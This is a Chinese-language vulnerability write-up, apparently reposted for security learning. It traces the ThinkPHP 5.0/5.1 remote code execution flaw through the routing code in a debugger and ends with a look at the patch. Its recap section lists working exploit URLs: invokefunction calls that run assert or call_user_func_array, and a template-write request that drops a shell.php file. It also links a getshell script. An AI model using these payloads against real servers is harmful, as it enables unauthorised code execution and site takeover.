「白帽挖洞技能提升」ThinkPHP5 遠程代碼執行漏洞-動態分析


ThinkPHP是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的,在保持出色的性能和至簡代碼的同時,也注重易用性。但是簡潔易操作也會出現漏洞,之前ThinkPHP官方修復了一個嚴重的遠程代碼執行漏洞。

這個漏洞的主要原因是由於框架對控制器名沒有進行足夠的校驗導致在沒有開啟強制路由的情況下可以構造惡意語句執行遠程命令,受影響的版本包括5.0和5.1版本。

那么今天i春秋用動態分析法來介紹遠程代碼執行,同時還能快速了解整個執行過程和一些變量參數,文章閱讀用時約7分鍾。

 

 

01環境

程序源碼下載:

http://www.thinkphp.cn/download/967.html

Web環境:Windows 10 x64+PHPStudy 20018

調試工具:phpstorm+xdebug(用vscode也可以,我比較習慣用phpstorm)

因為我是從頭分析到尾,所以要在設置里面勾上Break at first line in PHP script

 

 

 

搭建就不多說了,放源碼在根目錄然后phpstudy啟動!

 

02漏洞復現

 

 

 

其實有很多利用的地方,到后面分析完再說。

 

03漏洞分析

因為是從開始分析,也比較適合新手,就不演示去下某個斷點了,如果有不懂的你們也可以在不懂的地方下一個斷點然后繼續分析(記得去掉Break at first line in PHP script再下斷點)。

有些不是重點的直接F7或者F8走下去,F7跟進Facade:

 

 

 

到App.php初始化的地方,繼續F8往下面走:

 

 

 

到routeCheckF7跟進去:

 

 

 

到這里F7繼續跟進去:

 

 

有些沒有必要的函數就直接F8跳過去,到pathinfo( )這里F7跟進去:

 

 

 

我們可以分析一下這個·pathinfo函數的代碼$this->config->get('var_pathinfo')這一句是從配置文件config/app.php獲取的值:

 

 

 

當請求報文包含$_GET['s'],就取其值作為pathinfo,並返回pathinfo給調用函數,所以我們可利用$_GET['s']來傳遞路由信息。

 public function pathinfo()
 {
 if (is_null($this->pathinfo)) {
 if (isset($_GET[$this->config->get('var_pathinfo')])) {
 // 判斷URL里面是否有兼容模式參數
 $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
 unset($_GET[$this->config->get('var_pathinfo')]);
 } elseif ($this->isCli()) {
 // CLI模式下 index.php module/controller/action/params/...
 $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
 }
 // 分析PATHINFO信息
 if (!isset($_SERVER['PATH_INFO'])) {
 foreach ($this->config->get('pathinfo_fetch') as $type) {
 if (!empty($_SERVER[$type])) {
 $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
 substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
 break;
 }
 }
 }
 $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
 }
 return $this->pathinfo;
 }

可以看到return $this->pathinfo;返回的內容:

 

 

 

F7走,可以看到$pathinfo賦值給$this->path:

 

 

 

F7走到check的函數,如果開啟了強制路由則會拋出異常,也就是說該漏洞在開啟強制路由的情況下不受影響,但是默認是不開啟的。

后面看到實例化了UrlDispatch對象,將$url傳遞給了構造函數。

 

 

 

再繼續分析下去,中間有些不必要的直接F8走過就行了。可以看到將$url傳遞給了$action。

 

 

 

F7走下去,跳回了App.php,可以看到$dispatch返回來的值代入dispatch方法。

 

 

 

F7走進去,可以看到傳入的$dispatch賦值給了$this->dispatch,不過現在分析這個版本是有改動的,有些版本是在這里用dispatch代入下面會分析到的parseUrl方法,這個版本的是用$this->action來parseUrl方法的,繼續分析下去,下面會分析到的。

 

 

 

F7又返回了App.php的文件,可以看到執行調度這里$data = $dispatch->run( );,我們F7跟進去。

 

 

 

這里就是上面所說的,$url是由thinkphp/library/think/route/Dispatch.php里面的$this->action = $action;傳過來的。

 

 

 

我們F7繼續分析parseUrl方法,然后F8走到這里。

 

 

 

F7進到這個parseUrlPath方法里面,用/來分割[模塊/控制器/操作]並存到$path數組里面。

 private function parseUrlPath($url)
 {
 // 分隔符替換 確保路由定義使用統一的分隔符
 $url = str_replace('|', '/', $url);
 $url = trim($url, '/');
 $var = [];
 if (false !== strpos($url, '?')) {
 // [模塊/控制器/操作?]參數1=值1&參數2=值2...
 $info = parse_url($url);
 $path = explode('/', $info['path']);
 parse_str($info['query'], $var);
 } elseif (strpos($url, '/')) {
 // [模塊/控制器/操作]
 $path = explode('/', $url);
 } elseif (false !== strpos($url, '=')) {
 // 參數1=值1&參數2=值2...
 parse_str($url, $var);
 } else {
 $path = [$url];
 }
 return [$path, $var];
 }

 

 

 

中間的繼續F8往下走,返回的$route數組

 

 

 

繼續往下走,F7進去。

 

 

 

可以看到:

thinkphp/library/think/route/Dispatch.php類這里的$this->action的值變了。

 

 

 

繼續會走到:

thinkphp/library/think/route/dispatch/Module.php,可以看到$this->action賦值給了$result。

 

 

 

F8往下走,走到實例化控制器,這里的$controller是可控的,是由上面的$result[1]傳過來的。

 

 

 

F7跟進去,當$name存在反斜杠時就直接將$name賦值給$class並返回。攻擊者通過控制輸入就可以操控類的實例化過程,從而造成代碼執行漏洞。

 

 

 

下面就是調用反射執行類的步驟了:

 

 

 

也可以往下看,這里是通過invokeMethod 函數動態調用方法的地方,可以看到$class是think\Requset的類,$method是input。

 

 

 

后面就是把內容輸出到瀏覽器的過程了

 

 

 

04漏洞分析回顧

開始我們分析pathinfo( )函數的時候得知可以用s來獲取路由信息

parseUrlPath方法用來分割[模塊/控制器/操作]格式

在后面傳入$controller的時候,就是開始我們獲取到路由的值,但是用反斜杠就開頭,就是想要實例化的類。

最后是反射函數,調用了input方法執行phpinfo( )

一定是要Request類里面的input方法來執行嗎?

不一定,視版本而決定。

以下是先知大神分類出來的

5.1是下面這些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

兩個版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

這里也不寫getshell的python腳本了 ,可以參考:

https://github.com/theLSA/tp5-getshell

05補丁分析

下面是針對5.0和5.1的補丁,添加了正則過濾,導致無法再傳入\think\app這種形式的控制器。

 

 

 

 

 

以上是今天的內容,大家看懂了嗎?

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM